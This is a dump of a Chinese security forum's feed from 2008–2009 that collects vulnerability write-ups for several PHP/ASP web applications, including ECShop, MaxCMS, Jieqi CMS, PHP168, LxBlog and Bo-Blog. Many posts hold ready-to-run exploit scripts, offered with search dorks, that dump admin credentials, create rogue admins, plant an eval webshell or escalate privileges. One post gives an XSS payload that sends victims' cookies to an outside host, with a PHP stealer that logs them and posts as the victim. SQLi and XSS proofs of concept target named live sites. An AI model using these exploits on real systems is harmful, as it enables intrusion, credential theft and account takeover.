利用的时候注意给cookie赋值，同时要绕过uploadsafe.inc.php里面的一些判断

Last edited by flyh4t (2008-12-12 15:59:00)

]]> Wed, 27 May 2009 16:58:49 +0000 http://bbs.wolvez.org/topic/80/new/posts/ <![CDATA[DreamArticle 3.0 后台验证逻辑漏洞和注入漏洞, 导致直接登录后台]]> http://bbs.wolvez.org/topic/78/new/posts/ Team: bbs.wolvez.org
By q1ur3n

在admin/global.php 有这样一段代码，用来实现”记住密码”登录后台功能的。

$administrator    = get_cookie("administrator");
$adminpassword    = get_cookie("adminpassword");
if ($administrator && $adminpassword) {
    islogin($administrator,$adminpassword);
} else {
    unset($_SESSION['admincode']);
    set_cookie("admincode",'',time() - 31536000);
    set_cookie("adminid",'',time() - 31536000);
    set_cookie("administrator", '',time() - 31536000);
    set_cookie("adminpassword", '',time() - 31536000);
    da_admin_login();
}
$admin=get_admin_info($administrator,$adminpassword);

get_cookie() 在/include/common.php

function get_cookie($name){
    global $_COOKIE,$cookieprename;
    if (isset($_COOKIE[$cookieprename.$name])) {
        return urldecode($_COOKIE[$cookieprename.$name]);
    }
    return FALSE;
}
可以看到用了urldecode()函数，可以用%2527引入一个单引号绕过gpc

Islogin() 在admin/function.php

function islogin($username, $password) {
    global $DreamCMS;
    $_password_=$DreamCMS->db->get_var("SELECT `password` FROM `#DC@__members` WHERE `username`='{$username}'"); //查询$username的密码
    if($password!=$_password_){ //数据库里的密码和提交的密码相比较，不一样就$ISDreamCMSADMIN=FALSE
        $ISDreamCMSADMIN=FALSE;
        if(md5(base64_encode('__DreamCMS__'.$username.'~!(*%)$!$~'.$password.'%#@)'))==DreamCMSAdmin){
            $ISDreamCMSADMIN=TRUE;  //这里是实现一个超级管理员的功能的，DreamCMSAdmin定义在配置文件里。
        }
    }
    if (empty($username)||empty($password)||$ISDreamCMSADMIN){ //逻辑错误出现了，程序员本意是,如果$username为空,或者$password为空，或者$ISDreamCMSADMIN为false就执行登出处理，可以却忘记了在$ISDreamCMSADMIN前面加上!,这样就刚好和程序员本意相反了.也就是说这里就算我们的密码不对都可以通过这个函数。
        unset($_SESSION['admincode']);
        set_cookie("admincode",'',time() - 31536000);
        set_cookie("adminid",'',time() - 31536000);
        set_cookie("administrator", '',time() - 31536000);
        set_cookie("adminpassword", '',time() - 31536000);
        da_admin_login();
    }
}

看下面的$admin=get_admin_info($administrator,$adminpassword);

function get_admin_info($username, $password) {
    global $DreamCMS;
    $admin=$DreamCMS->db->get_row("SELECT * FROM `#DC@__members` WHERE `username`='{$username}' AND password='{$password}'");
    if(empty($admin)){
        if(md5(base64_encode('__DreamCMS__'.$username.'~!(*%)$!$~'.$password.'%#@)'))==DreamCMSAdmin){
            $admin->uid="1";
        }
    }
    $admin->info && $admin->info=unserialize($admin->info);
    return $admin;
}

这里就麻烦了，帐号或者密码不对就没有任何权限。
别忘了，前面还有个可以绕过gpc的get_cookie()
详细的利用方法和exp我就不贴出来了，自己摸索。
本地测试是可以直接进后台的。
可以参考这里。
http://delover.net/blogview.asp?logID=78&cateID=2

]]> Sat, 16 May 2009 14:19:36 +0000 http://bbs.wolvez.org/topic/78/new/posts/ <![CDATA[Bo-Blog 2.0.3 注射漏洞]]> http://bbs.wolvez.org/topic/77/new/posts/ Bo-Blog 2.0.3  注射漏洞

BY Flyh4t

http://bbs.wolvez.org

上次硬盘坏了丢了很多数据

今天某兄弟生日

掏空我的记忆回想起来一个很老的漏洞

//inc/mod_tag.php

------------------------
if (!defined('VALIDREQUEST')) die ('Access Denied.');

if (!$job) $job='default';
else $job=basename($job);
$itemid=safe_convert($itemid);

acceptrequest('tag,rewrite');
if ($tag!=='') $job='show';
$tag=($config['smarturl']==1 && $config['urlrewrite']==1 && $rewrite==1) ? tagurldecode($tag) : $tag;
//缺省情况$config['smarturl']==1 && $config['urlrewrite']==1 这个条件是不成立的，所以不会调用tagurldecode函数
//要管理员使用urlrewite功能才可以

if ($job=='default') {
..........
}

if ($job=='show') {
    acceptrequest('mode');
    if ($mode==1 || $mode==2) $mbcon['tag_list']=$mode-1;

    $m_b=new getblogs;
    if ($tag==='') catcherror($lnc[192]);
    
    //$tag 变量进入查询语句，但是需要一个单引号，我们恰好可以通过tagurldecode函数引入单引号
    $allentries=$blog->getgroupbyquery("SELECT * FROM `{$db_prefix}tags` WHERE `tagname`='{$tag}' LIMIT 0,1");
    if (!is_array($allentries[0]) || $allentries[0]['tagentry']=='<end>' || $allentries[0]['tagcounter']==0) {
----------------------------

$tag 变量进入查询语句是被单引号包围的，但是我们恰好可以通过tagurldecode函数引入单引号，看代码

function tagurlencode($str) {//编码函数
    $str=urlencode($str);
    $str=str_replace('-', '--', $str);
    $str=str_replace('%', '-', $str);
    return $str;
}
function tagurldecode($str) { //解码函数
    $str=str_replace('-', '%', $str);
    $str=str_replace('%%', '-', $str);
    $str=urldecode($str);
    return $str;
}

这样我们就可以利用这个漏洞

--------------------
poc:
index.php?act=tag&job=show&rewrite=1&tag=aaaa-27
---------------
]]> Thu, 07 May 2009 08:32:53 +0000 http://bbs.wolvez.org/topic/77/new/posts/ <![CDATA[校内网一个跨站漏洞的利用]]> http://bbs.wolvez.org/topic/70/new/posts/ BY Flyh4t

http://bbs.wolvez.org

校内网在发blog时对插入图片过滤不严格，存在xss漏洞

在发blog时将插入图片URL写为如下代码即可触发：

javascript:window.location.href='http://xxxxx/test.php?cookie='+document.cookie

test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下：

<?php
ob_start(); 
$url = 'blog.xiaonei.com';
$cookie=$_GET['cookie'];
$cookie1=$cookie."\r\n\r\n";
fputs(fopen('a.txt','a+'),$cookie1); //cookie写入 a.txt

//发一条伪造的日志，这条日志里面也可以插入恶意代码
$sock = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");
$data = "title=test by fly&body=test by fly&categoryId=0&blogControl=99&passwordProtedted=0&passWord=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe=";

fwrite($sock, "POST http://$url/NewEntry.do HTTP/1.1\r\n");
fwrite($sock, "Accept: */*\r\n");
fwrite($sock, "Referer: http://$url\r\n");
fwrite($sock, "Accept-Language: zh-cn\r\n");
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
fwrite($sock, "User-Agent: Mozilla\r\n");
fwrite($sock, "Host: $url\r\n");
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
fwrite($sock, "Connection: Keep-Alive\r\n");
fwrite($sock, "Cache-Control: no-cache\r\n");
fwrite($sock, "Cookie:".$cookie."\r\n\r\n");
fwrite($sock, $data);

$headers = "";
while ($str = trim(fgets($sock, 4096)))
     $headers .= "$str\n";
echo "\n";
$body = "";
while (!feof($sock))
     $body .= fgets($sock, 4096);

fclose($sock);
//echo $body;

//跳转到一个正常的日志
Header("Location: http://blog.xiaonei.com/GetEntry.do?id=xxxx&owner=xxxxx"); 
ob_end_flush();

?>
]]> Sat, 11 Apr 2009 16:36:13 +0000 http://bbs.wolvez.org/topic/70/new/posts/ <![CDATA[ECShop注射漏洞]]> http://bbs.wolvez.org/topic/67/new/posts/ by Ryat
http://bbs.wolvez.org
2009-03-24

影响2.5.x和2.6.x,其他版本未测试

goods_script.php44行:

    if (empty($_GET['type']))
    {
        ...
    }
    elseif ($_GET['type'] == 'collection')
    {
        ...
    }
    $sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);
    $res = $db->query($sql);

$sql没有初始化,很明显的一个漏洞:)

EXP:

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: "Powered by ECShop"
+---------------------------------------------------------------------------+
');
/**
 * works with register_globals = On
 */
if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to ecshop
Example:
php '.$argv[0].' localhost /ecshop/
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match('#href="([\S]+):([a-z0-9]{32})"#', $resp, $hash);

if ($hash)
    exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else
    exit("Exploit Failed!\n");

function send()
{
    global $host, $path;

    $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';

    $data = "POST ".$path."goods_script.php?type=".time()."  HTTP/1.1\r\n";
    $data .= "Accept: */*\r\n";
    $data .= "Accept-Language: zh-cn\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $data .= "Host: $host\r\n";
    $data .= "Content-Length: ".strlen($cmd)."\r\n";
    $data .= "Connection: Close\r\n\r\n";
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>
]]> Thu, 26 Mar 2009 13:44:46 +0000 http://bbs.wolvez.org/topic/67/new/posts/ <![CDATA[ECMall本地文件包含漏洞]]> http://bbs.wolvez.org/topic/65/new/posts/ by Ryat
http://bbs.wolvez.org

respond.php 48行

$pay_code = !empty($_REQUEST['code']) ? trim($_REQUEST['code']) : '';
...
$plugin_file = ROOT_PATH . '/includes/payment/' . $pay_code . '.php';
if (is_file($plugin_file))
{
    include_once($plugin_file);

很明显的一个bug
利用的话可以参考flyh4t提到过[http://bbs.wolvez.org/topic/56/]的一个思路:

可以通过旁注拿个shell，然后写个main.php到/tmp目录下，然后包含之

]]> Mon, 23 Mar 2009 15:06:33 +0000 http://bbs.wolvez.org/topic/65/new/posts/ <![CDATA[浅析LxBlog V6变量未初始化漏洞]]> http://bbs.wolvez.org/topic/64/new/posts/ 浅析LxBlog V6变量未初始化漏洞
Flyh4t
http://bbs.wolvez.org

本文已经发表在黑客防线,转载请署名

Lxblog是 PHPWind 开发的一套基于 PHP+MySQL 数据库平台架构的多用户博客系统，强调整站与用户个体间的交互，拥有强大的个人主页系统、独立的二级域名体系、灵活的用户模板系统、丰富的朋友圈和相册功能。但是该blog系统在安全性上并不让人满意，本文就来分析lxblog一个变量未初始化造成的sql注入漏洞。

我们先来分析一下这个漏洞，看代码：

=======================code==================================
/user/tag.php
<?php
!function_exists('usermsg') && exit('Forbidden');
!in_array($type,$item_type) && exit;
//$type、$item_type均没有初始化
require_once(R_P.'mod/charset_mod.php');
foreach ($_POST as $key => $value) {
    ${'utf8_'.$key} = $value;
    ${$key} = $db_charset != 'utf-8' ? convert_charset('utf-8',$db_charset,$value) : $value;
}

if ($job == 'add') {
    ……//省略部分代码
}elseif($job=="modify"){
    $tagnum="{$type}num"; 
    $touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'"); 
    //$type带入查询语句操作数据库
    $touchtagdb['uid']!=$admin_uid && exit;
……//省略部分代码
=======================code==================================

当然，在文件的第一行有 !function_exists('usermsg') && exit('Forbidden'); 这样一段代码的限制，我们不能直接访问该文件，但是可以通过user_index.php来include这个文件执行，看具体代码

=======================code==================================
//user_index.php
<?php
……//省略部分代码
require_once(R_P.'user/global.php');
require_once(R_P.'user/top.php');

if (!$action) {
    ……//省略部分代码
} elseif ($action && file_exists(R_P."user/$action.php")) {
    $basename = "$user_file?action=$action";
    require_once(Pcv(R_P."user/$action.php"));
   //通过提交$action=tag即可以调用到存在漏洞的文件
}
……//省略部分代码
=======================code==================================

看到这个地方，应该已经可以触发该漏洞了，但是依然要考虑到是否会受到register_global的影响，幸好user_index.php在开始的时候包含了user/global.php这个文件，看看这个文件为我们提供了什么

=======================code==================================
//user/global.php
<?
……//省略部分代码
if (!in_array($action,array('blogdata','comment','itemcp','post','userinfo'))) {
    //'blogdata','comment','itemcp','post','userinfo','global','top'
//我们提交的action=tag，不在上面这个数组里面，可以触发下面的代码成功绕过register_global的影响
    foreach ($_POST as $_key => $_value) {
        !ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_POST[$_key];
    }
    foreach ($_GET as $_key => $_value) {
        !ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_GET[$_key];
    }
}
……//省略部分代码
=======================code==================================

通过上面的分析，我们已经可以成功控制$type和$item_type的值了，但是还要注意两个地方：

第一个地方是要满足 in_array($type,$item_type)，我们通过直接将$type和$item_type[]赋值为相同变量即可

第二个地方是要注意我们注射的语句

$touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'");

综合以上，我们构造出来盲注的代码如下

=======================poc==================================
//判断uid=1的用户的密码第一位的ASCII值是否大于0
http://blog.xxx.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid    =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*
=======================poc==================================

通过浏览器返回的时间来判断是否猜解正确，如果是正确的话，浏览器返回的比较慢，近似假死状态，否则返回的就比较正常。使用二分法不断猜解即可。另外，如果数据库版本较低，可以使用benchmark函数来盲注，具体的expliot就不提供了，有需要的可以自己写个代码跑跑，不是什么难事。

另外我们看下lxblog的数据库容错代码

=======================code==================================
function DB_ERROR($msg) {
        global $db_blogname,$REQUEST_URI;
        $sqlerror = mysql_error();
        $sqlerrno = mysql_errno();
        //ob_end_clean();
        echo"<html><head><title>$db_blogname</title><style type='text/css'>P,BODY{FONT-FAMILY:tahoma,arial,sans-serif;FONT-SIZE:11px;}A { TEXT-DECORATION: none;}a:hover{ text-decoration: underline;}TD { BORDER-RIGHT: 1px; BORDER-TOP: 0px; FONT-SIZE: 16pt; COLOR: #000000;}</style><body>\n\n";
        echo"<table style='TABLE-LAYOUT:fixed;WORD-WRAP: break-word'><tr><td>$msg";
        echo"<br><br><b>The URL Is</b>:<br>http://$_SERVER[HTTP_HOST]$REQUEST_URI";
        echo"<br><br><b>MySQL Server Error</b>:<br>$sqlerror  ( $sqlerrno )";
        echo"<br><br><b>You Can Get Help In</b>:<br><a target=_blank href=http://www.phpwind.net><b>http://www.phpwind.net</b></a>";
        echo"</td></tr></table>";
        exit;
    }
=======================code==================================

函数直接将造成数据库错误的url返回给客户端，对输出未作任何过滤，造成了xss漏洞，下面是我对官方的测试：

=======================poc==================================

http://www.lxblog.net/user_index.php?action=tag&job=modify&type=<script>alert(/xss/)</script>&item_type[]=<script>alert(/xss/)</script>

=======================poc==================================

Lxblog的漏洞就分析到这里了，这个漏洞的修补也很简单，只要在数据库查询语句前面将变量$item_type赋值为指定的数组就可以了。网上的PHP程序有不少都存在类似的漏洞，由于变量没有被正确的初始化，从而导致攻击者可以控制变量被改变程序的流程执行一些非法操作。其实这个问题并不复杂，保持一个良好的编码习惯，正确初始化类和变量即可杜绝此类漏洞。

]]> Mon, 16 Mar 2009 12:39:55 +0000 http://bbs.wolvez.org/topic/64/new/posts/ <![CDATA[WUScan Web Path Scan Tool V1.0.0]]> http://bbs.wolvez.org/topic/62/new/posts/ VB写的多线程扫描工具,大家来测试.

发个测试版,目前没有报告保存功能. :)

新功能:+根据关键字检测200和403状态.

程序运行会释放三个文件:
1.dic.dic         字典文件,可以自由选择,添加,修改.
2.Thread.dll   多线程DLL.
3.WUScan.ini 程序配置文件.

文件下载:
本地下载  or  UK Blog
================================
程序运行图:
WUScan Web Path Scan Tool V1.0.0

]]> Mon, 09 Mar 2009 23:39:22 +0000 http://bbs.wolvez.org/topic/62/new/posts/ <![CDATA[远古视频点播系统的一个注入漏洞]]> http://bbs.wolvez.org/topic/61/new/posts/ VIEWGOOD VOD视频点播系统 (WebVOD)
漏洞产生于文件/webmedia/oemui/user/guest.asp，访问这个页面需要注册

相关代码：

    szAgent = Request.ServerVariables("HTTP_USER_AGENT")
    aTmpInfo = Split(szAgent, " (", -1, 1)
    aAgentInfo = Split(aTmpInfo(1), "; ", -1, 1)

    szBrowser = aAgentInfo(1)
    if Right(aAgentInfo(2), 1) = ")" or Right(aAgentInfo(2), 1) = ";" then
        szOS = Left(aAgentInfo(2), Len(aAgentInfo(2)) - 1)
    else
        szOS = aAgentInfo(2)
    end if
    szClientIP = Request.ServerVariables("REMOTE_ADDR")

    szSQL = "INSERT INTO GuestBook(CusTomer_ID,cont,ipaddr,ostype,browser,crdt) VALUES(" & iUserID & ",'" & szMemo & "','" & szClientIP & "','" & szOS & "','" & szBrowser & "','" & now &"')"
    con.Execute szSQL

HTTP_USER_AGENT我们可以自己构造

POST /webmedia/oemui/user/guest.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, 
Referer: [url]http://you.are.fucked.cn/webmedia/oemui/user/guest.asp[/url]
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0','');update Customer_Group set Group_ID=1 where Customer_ID=9--; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: you.are.fucked.cn
Content-Length: 75
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCSACDTQQ=CGGFJOGANCPNAIAIABABHMHA;


memo=aaaa&submit=%B7%A2%CB%CD%D3%C3%BB%A7%C1%F4%D1%D4%D0%C5%CF%A2+%3E%3E%3E
]]> Mon, 02 Mar 2009 10:37:56 +0000 http://bbs.wolvez.org/topic/61/new/posts/ <![CDATA[Bo-blogV2.1.0 小跨站一个]]> http://bbs.wolvez.org/topic/39/new/posts/ 版本Bo-blog V2.1.0
文件\inc\realplay.php
这个小bug有点搞笑

<?php
echo (get_magic_quotes_gpc() ? stripslashes($_GET['link']) : $_GET['link']);
?>

poc 

http://www.xxxx.com/inc/realplay.php?link=<script>alert('xss')</script>
]]> Wed, 18 Feb 2009 14:28:58 +0000 http://bbs.wolvez.org/topic/39/new/posts/ <![CDATA[4Images 1.7.6 Local Inclusion Vulnerability]]> http://bbs.wolvez.org/topic/56/new/posts/ 4Images  1.7.6  Local Inclusion Vulnerability
BY Flyh4t
/***********************************************************/
4images - Image Gallery Management System  V1.7.6  Local Inclusion Vulnerability

Author :     Flyh4t
msn :     flyh4t@hotmail.com
team:     Wolves Security Team
site:        bbs.wolvez.org
Greet to : q1ur3n  puret_t  make0day  and all the members of Wolves Security Team
/***********************************************************/
Bug file : global.php
if (isset($HTTP_GET_VARS['l']) || isset($HTTP_POST_VARS['l'])) {
  $requested_l = (isset($HTTP_GET_VARS['l'])) ? trim($HTTP_GET_VARS['l']) : trim($HTTP_POST_VARS['l']);
  if ($requested_l != $config['language_dir'] && file_exists(ROOT_PATH.'lang/'.$requested_l.'/main.php')) {
    $l = $requested_l;
    $config['language_dir'] = $l;
  }
}

include_once(ROOT_PATH.'lang/'.$config['language_dir'].'/main.php');

/***********************************************************/
global.php is included by all the files of 4images,so it can be exploited through many files


/***********************************************************/

]]> Tue, 17 Feb 2009 03:25:52 +0000 http://bbs.wolvez.org/topic/56/new/posts/ <![CDATA[马克斯CMS2.0beta (maxcms)管理员认证绕过漏洞]]> http://bbs.wolvez.org/topic/52/new/posts/ by flyh4t

http://bbs.wolvez.org/

maxcms后台有自动升级功能，ajax的那个注射被修补了，但是这个漏洞还是没有修补。
在上一贴有同学问是否能绕过认证，答案是肯定的，但是前提是要知道后台目录地址

回顾下漏洞代码 

Sub checkPower
    dim loginValidate,rsObj : loginValidate = "maxcms2.0"
    err.clear
    on error resume next
    set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&rCookie("m_username")&"'","execute")
    loginValidate = md5(getAgent&getIp&rsObj(0))
    if err then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"
    if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"
    checkManagerLevel  rsObj(1)
    set rsObj=nothing
End Sub

其中

Function rCookie(cookieName)
    rCookie = request.cookies(cookieName)
End Function

关键就是这个变量的值 loginValidate = md5(getAgent&getIp&rsObj(0))
通过伪造cookie可以轻松绕过这段认证代码，之后就可以添加新管理员或者修改配置文件插入一句话木马

我这里贴一个添加新管理员的exp

<?php
print_r('
+---------------------------------------------------------------------------+
maxcms2.0 creat new admin exploit
by Flyh4t
team:wolvez security team
site:bbs.wolvez.org
dork:salemax#qq.com
+---------------------------------------------------------------------------+
');

if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to maxcms
Example:
php '.$argv[0].' localhost /maxcms2/ 
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$name = rand(1,10000);
$cmd = 'm_username=flyh4t'.$name.'&m_pwd=wolvez&m_pwd2=wolvez&m_level=0';

$resp = send($cmd);
if (!eregi('alert',$resp)) {echo"[~]bad luck,exploit failed";exit;}

print_r('
+---------------------------------------------------------------------------+
[+]cool,exploit seccuss
[+]you have add a new adminuser flyh4t'.$name.'/wolvez
+---------------------------------------------------------------------------+
');


function send($cmd)
{
    global $host, $path;
    $message = "POST ".$path."admin/admin_manager.asp?action=add HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: flyh4t\r\n";
    $message .= "X-Forwarded-For:1.1.1.1\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Cookie: m_username=flyh4t'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin; m_level=0; checkflyh4t'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin=7728a57dcd5ae1e69cf0aee02ba66de6\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    echo $message;

    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))
    $resp .= fread($fp, 1024);
    echo $resp;
    return $resp;
}
?>
]]> Fri, 13 Feb 2009 13:57:38 +0000 http://bbs.wolvez.org/topic/52/new/posts/ <![CDATA[马克斯CMS2.0beta (maxcms)SQL注入漏洞]]> http://bbs.wolvez.org/topic/48/new/posts/ BY flyh4t

http://bbs.wolvez.org

关键字：首页-马克斯CMS2.0

这个系统是国内非常流行的视频点播系统，之前的1.5版本漏洞非常多，2.0版本在安全方面有所提高，但是依然有漏洞存在。

看代码

 
\inc\ajax.asp

dim action : action = getForm("action", "get")
response.Charset="gbk"

Select  case action
    case "newslist" : viewNewsList
    case "newscontent" : viewNewsContent
    case "digg","tread" : scoreVideo(action)
    case "reporterr" : reportErr
    case "hit" : updateHit
    case else : main
End Select
terminateAllObjects

……

Sub scoreVideo(operType)
    dim sql,id,digg,returnValue : id=getForm("id","get") 
    ‘通过get方式获取id的值
    if rCookie("maxcms2_score"&id)="ok" then die "havescore"
    if isNul(id) then die "err"
    'on error resume next
    digg=conn.db("select m_digg from {pre}data where m_id="&id,"execute")(0)
    ‘ 参数id，没有过滤就带入sql语句进行查询
    if err then digg=0 : err.clear()
    if not isNum(id) then echoSaveStr "safe" else id=clng(id)
    ‘ 查询到digg，注意返回的内容
……

利用就很简单了，构造sql语句提交（默认结构是m_manager,m_username,m_pwd，根据返回的内容判断就可以了。如果构造的语句是正确的，就返回类似警告

你提交的数据有非法字符，你的IP【xxxx】已被记录,操作

构造的语句不正确，则返回500
Poc :

正确的:
http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97
 
    不正确的：
http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99

其实随便找个注射工具跑一下就ok了

]]> Sat, 31 Jan 2009 14:39:55 +0000 http://bbs.wolvez.org/topic/48/new/posts/ <![CDATA[Jieqi cms v1.5 remote code execution exploit]]> http://bbs.wolvez.org/topic/47/new/posts/ BY flyh4t

http://bbs.wolvez.org

转个exp出来迎接新年

<?php
print_r('
+---------------------------------------------------------------------------+
Jieqi cms <= 1.5 remote code execution exploit
by Flyh4t
mail: flyh4t@hotmail.com
team: http://www.wolvez.org
dork: "技术支持：杰奇网络"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to jieqi cms
Example:
php '.$argv[0].' localhost /
+---------------------------------------------------------------------------+
');
    exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$url = 'http://'.$host.$path.'mirrorfile.php?filename=cache/flyh4t.php&action=writetofile&content=';
$shell = 'http://'.$host.$path.'cache/flyh4t.php';
$cmd = urlencode("<?php @eval(\$_POST[wolvez]);?>test");
$str = file_get_contents($url.$cmd);
if ( file_get_contents($shell) == 'test')
exit("Expoilt Success!\nView Your shell:\t$shell\n");
else
exit("Exploit Failed!\n");
?>

ps:表指望能打太多shell，时间太长已经被玩烂了

]]> Fri, 30 Jan 2009 10:42:28 +0000 http://bbs.wolvez.org/topic/47/new/posts/ <![CDATA[Php168 v2008 权限提升漏洞]]> http://bbs.wolvez.org/topic/43/new/posts/ by Ryat
http://www.wolvez.org
2009-01-25

简单分析下这个漏洞

common.inc.php

if($_SERVER['HTTP_CLIENT_IP']){
     $onlineip=$_SERVER['HTTP_CLIENT_IP'];
}elseif($_SERVER['HTTP_X_FORWARDED_FOR']){
     $onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
     $onlineip=$_SERVER['REMOTE_ADDR'];
}
$onlineip = preg_replace("/^([\d\.]+).*/", "\\1", filtrate($onlineip));
//这个地方使用preg_replace存在着安全隐患,之前就暴过漏洞,官方修补的方法是用filtrate函数处理了下$onlineip

看一下filtrate函数是怎么处理的

function.inc.php

function filtrate($msg){
    $msg = str_replace('&amp;','&',$msg);
    $msg = str_replace('&nbsp;',' ',$msg);
    $msg = str_replace('"','&quot;',$msg);
    $msg = str_replace("'",'&#39;',$msg);
    $msg = str_replace("<","&lt;",$msg);
    $msg = str_replace(">","&gt;",$msg);
    $msg = str_replace("\t","   &nbsp;  &nbsp;",$msg);
    $msg = str_replace("\r","",$msg);
    $msg = str_replace("   "," &nbsp; ",$msg);
    return $msg;
}

过滤了'"<等,但是没有处理\

common.inc.php

    if($usr_oltime>30||!$usr_oltime){
        $usr_oltime>600 && $usr_oltime=600;
        include(PHP168_PATH."php168/level.php");
        if( isset($memberlevel[$lfjdb[groupid]]) ){
            $SQL=",groupid=8";
            $lfjdb[money]=get_money($lfjuid);
            foreach( $memberlevel AS $key=>$value){
                if($lfjdb[money]>=$value){
                    $SQL=",groupid=$key";
                }
            }
        }else{
            $SQL="";
        }
        $db->query("UPDATE {$pre}memberdata SET lastvist='$timestamp',lastip='$onlineip',oltime=oltime+'$usr_oltime'$SQL WHERE uid='$lfjuid'");
//因为这个地方是拼接字符串的形式,所以可以使用\来转义',然后利用$usr_oltime来注射:)

另外要注意的是$usr_oltime有一个简单的判断的,而且还要保证sql语句的语法正确,看下我构造的语句:

UPDATE {$pre}memberdata SET lastvist='$timestamp',lastip='[\]',oltime=oltime+'[+31,groupid=3,introduce=0x70757265745f74 WHERE uid=2#]'$SQL WHERE uid='$lfjuid'

最后给个EXP:

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Php168 <= v2008 update user access exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PHP168"
+---------------------------------------------------------------------------+
');
/**
 * works regardless of php.ini settings
 */
if ($argc < 5) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path user pass
host:      target server (ip/hostname)
path:      path to php168
user:      login username
pass:      login password
Example:
php '.$argv[0].' localhost /php168/
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];

$resp = send();
preg_match('/Set-Cookie:\s(passport=([0-9]{1,4})%09[a-zA-Z0-9%]+)/', $resp, $cookie);

if ($cookie)
    if (strpos(send(), 'puret_t') !== false)
        exit("Expoilt Success!\nYou Are Admin Now!\n");
    else 
        exit("Exploit Failed!\n");
else
    exit("Exploit Failed!\n");
    
function rands($length = 8)
{
    $hash = '';
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $max = strlen($chars) - 1;
    mt_srand((double)microtime() * 1000000);
    for ($i = 0; $i < $length; $i++)
        $hash .= $chars[mt_rand(0, $max)];

    return $hash;
}

function send()
{
    global $host, $path, $user, $pass, $cookie;
    
    if ($cookie) {
        $cookie[1] .= ';USR='.rands()."\t%2b31,groupid=3,introduce=0x70757265745f74 WHERE uid=$cookie[2]#\t\t";
        $cmd = '';
    
